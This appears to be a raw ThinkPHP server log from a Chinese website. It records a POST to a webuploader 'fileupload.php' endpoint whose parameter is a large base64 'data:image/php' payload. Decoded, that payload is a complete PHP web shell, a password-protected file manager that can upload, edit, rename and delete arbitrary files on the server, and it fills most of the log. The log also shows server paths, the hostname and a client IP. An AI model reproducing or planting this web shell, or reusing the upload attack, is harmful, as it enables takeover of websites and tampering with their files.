dXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:50+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public/webuploader/0.1.5/server/fileupload.php [运行时间:0.002560s] [吞吐率:390.64req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCR